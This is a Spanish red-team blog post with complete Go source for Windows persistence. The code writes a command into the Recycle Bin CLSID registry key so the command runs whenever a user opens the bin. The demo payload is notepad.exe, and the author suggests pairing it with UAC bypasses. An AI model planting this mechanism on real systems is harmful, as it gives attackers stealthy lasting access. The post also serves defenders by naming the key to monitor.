· Asparux · malware · 3 min read

Persistencia vía Recycle Bin

Introducción

¡Hola queridos hackers!

Hoy veremos una técnica efectiva para mantener el acceso en sistemas Windows durante las operaciones del red team simplemente modificando una clave de registro que interactua con la Papelera de reciclaje. Leí sobre ella en un artículo de vxunderground y pensé que podría ser interesante probarla en Golang, así que veamos cómo funciona.

Explicación

En Windows hay algunas carpetas que tienen valores CLSID únicos como los de la “Papelera de reciclaje” {645ff040-5081-101b-9f08-00aa002f954e} o “Mis documentos” {450d8fba-ad25-11d0-98a8-0800361b1103}

Todo esto puede que te suene familiar si alguna vez has probado el bypass UAC fodhelper.exe en el que se modifica el registro HKCU para ejecutar comandos como administrador sin ninguna confirmación.

Código

En primer lugar debemos importar los paquetes necesarios. En este caso usaremos el paquete oficial de Golang para interactuar con las claves de registro.

package main

import (
  "fmt"
  "log"

  "golang.org/x/sys/windows/registry"
)

Tenemos que abrir la clave de registro CLSID.

...

bin_key, err := registry.OpenKey(
  registry.LOCAL_MACHINE,
  "SOFTWARE\\Classes\\CLSID\\{645FF040-5081-101B-9F08-00AA002F954E}\\shell",
  registry.WRITE, // Permissions
)

if err != nil {
  fmt.Println("OpenKey error!")
  log.Fatal(err)
}
defer bin_key.Close()

...

Luego creamos el nuevo registro donde estarán nuestros comandos maliciosos.

...

k, _, err := registry.CreateKey(
  bin_key,
  "open\\command",
  registry.ALL_ACCESS,
)

if err != nil {
  fmt.Println("CreateKey error!")
  log.Fatal(err)
}

...

Y finalmente establecemos el valor, en nuestro caso es un bloc de notas simple pero puedes ser creativo para combinarlo con otras cosas como UAC bypass y más.

...

err = k.SetStringValue("", "notepad.exe")
if err != nil {
  log.Fatal(err)
}

...

Agreguemos más resultados y el código final debería ser algo como esto:

package main

/*

Author: ASPARUX
Blog post: https://asparux.net/blog

*/

import (
  "fmt"
  "log"

  "golang.org/x/sys/windows/registry"
)

func main(){

  // Open registry key
  fmt.Println("Abriendo registry key...")
  bin_key, err := registry.OpenKey(
    registry.LOCAL_MACHINE,
    "SOFTWARE\\Classes\\CLSID\\{645FF040-5081-101B-9F08-00AA002F954E}\\shell",
    registry.WRITE,
  )

  if err != nil { // Handle error
    fmt.Println("OpenKey error!")
    log.Fatal(err)
  }
  // Close key
  defer bin_key.Close()

  // Create new key
  fmt.Println("Creando nueva llave...")
  k, _, err := registry.CreateKey(
    bin_key,
    "open\\command",
    registry.ALL_ACCESS,
  )

  if err != nil { // Handle error
    fmt.Println("error al crear la key!")
    log.Fatal(err)
  }

  // Set value
  fmt.Println("Configurando notepad.exe como payload...")
  err = k.SetStringValue("", "notepad.exe")
  if err != nil { // Handle error
    fmt.Println("SetStringValue error!")
    log.Fatal(err)
  }

  fmt.Println("Proceso completado!")
}

Ahora compilamos nuestra carga útil y la transferimos a nuestra máquina de prueba de Windows.

No he leído en ninguna parte si esta operación se puede realizar sin privilegios de administrador, pero al probar en mi Windows siempre devolvió “Acceso denegado”.

Como puede ver, después de hacer clic en el icono de la papelera de reciclaje, aparece un notepad.exe.

Ahora, si buscamos la identificación del proceso principal (PPID) de notepad.exe, vemos que se ejecuta bajo el proceso explorer.exe.

Para revertir nuestras modificaciones, simplemente puede ejecutar este comando de PowerShell reg DELETE “HKCR\CLSID{645FF040-5081-101B-9F08-00AA002F954E}\shell\open” /f y debería funcionar para usted.

Conclusión

Esta técnica de persistencia puede ser útil para los miembros del Red Team, ya que es sigilosa y todos usan la papelera de reciclaje para eliminar archivos, de modo que la carga útil se ejecute cada vez que un usuario acceda a ella. Pero la clave de registro se puede monitorear para evitar esto, por lo que los miembros del Blue Team deben tener esta técnica en mente.

Un saludo, Asparux !

Back to Blog